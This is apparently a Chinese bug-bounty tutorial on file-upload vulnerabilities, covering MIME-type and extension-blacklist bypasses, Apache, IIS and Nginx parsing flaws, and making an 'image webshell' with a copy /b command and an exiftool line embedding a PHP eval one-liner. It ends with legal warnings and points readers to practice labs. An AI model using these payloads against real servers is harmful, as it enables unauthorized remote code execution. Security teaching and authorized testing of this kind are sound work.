【SRC漏洞挖掘系列】第04期:文件上传与解析——把图片变成“特洛伊木马”

上期回顾 :我们刚用 SQL 注入把数据库翻了个底朝天。本期我们来聊聊更暴力的漏洞------文件上传。

如果说 SQL 注入是"偷",那文件上传就是直接往人家服务器里安炸弹。💣


一、为什么文件上传是"高危"?

在 SRC 评级里,**GetShell(拿到服务器权限)**​ 通常是最高级(Critical)。

而文件上传,是实现 GetShell 最直接的捷径。

理想情况:

一句话木马-> 上传成功 -> 菜刀/蚁剑连接 -> 控制服务器。

现实情况:

一句话木马-> WAF 拦截(非法字符) -> 服务器重命名 -> 文件被放到无法执行的目录。

所以,我们需要"骗"过服务器。


二、绕过前端的"纸老虎"

很多开发以为在前端做个 JS 校验就安全了,这叫掩耳盗铃。

1. 场景还原

网页 JS 代码:

javascript 复制代码
if (file.type != "image/jpeg") {
    alert("只允许 JPG 图片!");
    return false;
}

2. 绕过姿势

  • 禁用 JS:浏览器按 F12,把 JS 禁了,随便传。

  • 改包 :先把马改成 .jpg上传,用 Burp Suite 抓包,再把文件名改回 .php。

  • 控制台修改:在 Console 里直接删掉校验函数。

SRC 提示 :这种漏洞一般评 低危,因为稍微有点安全意识的厂商都会做后端校验。


三、绕过后端校验的"攻防战"

这是实战中最精彩的部分。

1. MIME 类型绕过(Content-Type)

后端代码逻辑 :只允许 image/jpeg。

绕过:

抓包修改:

http

复制代码
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg  <-- 重点在这里,伪装成图片

2. 黑名单绕过(老版本的噩梦)

如果后端禁止 .php, .asp, .jsp。

试试这些冷门后缀(Windows/IIS):

  • shell.php5

  • shell.phtml

  • shell.asp;.jpg(IIS 6.0 经典漏洞,分号截断)

3. 大小写与双写

  • 大小写 :.PhP(Linux 区分大小写,但有些中间件配置不严谨)。

  • 双写 :shell.pphphp(过滤 php时,删除第一个 php,剩下 php)。


四、解析漏洞:给服务器"洗脑"

有时候你上传的是 .jpg,但服务器却把它当成 .php来执行。这就是解析漏洞。

1. Apache 解析漏洞

原理:Apache 是从右往左解析后缀的。

  • 文件名:shell.php.jpg

  • 解析顺序:.jpg不认识 -> 继续往左 -> .php认识 -> 当成 PHP 执行。

2. IIS 6.0 经典姿势

  • 目录解析 :/test.asp/shell.jpg(只要文件夹叫 .asp,里面的文件不管啥后缀都执行)。

  • 文件解析 :shell.asp;.jpg(分号截断)。

3. Nginx 解析漏洞(CVE-2013-4547)

Payload :shell.jpg\0.php

解释 :Nginx 看到 \0(空字符)截断,认为后面是 .php,于是交给 FastCGI 处理,结果执行了前面的 JPG 内容。


五、实战演练:制作"图片马"

很多时候,服务器会检查文件内容(魔术头),不是 JPEG 格式直接拦截。

制作步骤(Kali Linux / CMD):

bash 复制代码
# 将一句话木马追加到正常图片末尾
copy /b normal.jpg + shell.php evil.jpg

或者用 Exiftool:

bash 复制代码
exiftool -Comment="<?php @eval($_POST['cmd']); ?>" normal.jpg -o shell.jpg

结果:

  • 文件头是 JFIF(图片),骗过后端校验。

  • 文件尾是 <?php ... ?>,服务器解析时执行代码。

连接测试:

上传成功后,访问 http://target.com/uploads/evil.jpg。

用蚁剑连接,成功 GetShell!🎉


六、SRC 报告中的"坑"

  1. 无解析 :你传了个 shell.php,但它在 /uploads/目录下,没有执行权限。结果:厂商可能忽略,或者评为"无效"。

  2. 自包含 :你传了个文件,但无法访问路径(不知道存哪了)。结果:无法证明危害,评级降低。

报告技巧:

一定要截图证明 "能够执行系统命令" (如 whoami),而不仅仅是"文件传上去了"。


七、互动与思考

绕过姿势 适用场景 成功率
前端禁用JS​ 弱智站点 90%
MIME 绕过​ 仅校验 Content-Type 60%
图片马+解析漏洞​ 强校验文件内容 极高​

💬 互动话题:

各位老司机,你们当年第一次 GetShell 是用什么姿势?是经典的 phpinfo()探针,还是直接 system('calc')弹计算器装逼?😎


⚠️ 法律红线警示

  1. 严禁在未授权服务器上传 Webshell、挖矿病毒或任何形式的恶意软件。

  2. 严禁利用 GetShell 权限查看、下载或篡改服务器内的用户数据(这是犯罪!)。

  3. 测试原则 :证明可以执行 phpinfo()或简单的 echo命令即可,立即停止,切勿进一步深入。

  4. 靶机练习 :请在本地搭建 Upload-Labs 、DVWA​ 等靶场进行练习。

    **技术是把双刃剑,拿剑的手决定了它是凶器还是护盾。请务必守住法律底线。**​ 🛡️

下一期,我们将进入 "业务逻辑漏洞(上)"。告别代码层面,我们要开始"骗人"了------如何通过修改数据包,把别人的快递改寄到你家?敬请期待!

相关推荐
QYR-分析2 分钟前
7.0% 年增!新能源汽车 EPB 电机赛道升温,安全执行件的博弈正在底盘上演
安全·汽车
福建佰胜张工2 小时前
深度解析 Allen-Bradley 150-B135NBDA 智能电机控制器:选型、参数与工业应用
运维·数据库·单片机·嵌入式硬件·安全·自动化
智慧光迅AINOPOL2 小时前
POF光电复合缆多业务承载原理
网络·安全·智能路由器
一只小鱼儿吖3 小时前
内网穿透技术全景:原理、安全与实践
网络·安全
电子科技圈3 小时前
芯科科技2026年Tech Talks技术系列讲座再增添全新主题共探无线SoC架构演进与安全合规
科技·嵌入式硬件·mcu·物联网·安全·架构·iot
CCIE-Yasuo3 小时前
网络安全-学习web开发-列表、标签
前端·学习·web安全
2301_780789664 小时前
智能汽车的“软肋”:车载系统漏洞分析与安全防护框架初探
网络·安全·车载系统·汽车·ddos
长不大的杨瑞杰5 小时前
OpenCode v2 运行时预热实战:Warming、Prompt Cache、后台服务与成本治理
人工智能·安全·云计算·软件工程·devops
AI_Lab015 小时前
服务器管理工具要在服务器上装 Agent,安全吗?
服务器·安全·github
2601_961146205 小时前
实验室等离子表面处理设备安全整改记录:通风、UV、接地三项
笔记·安全·uv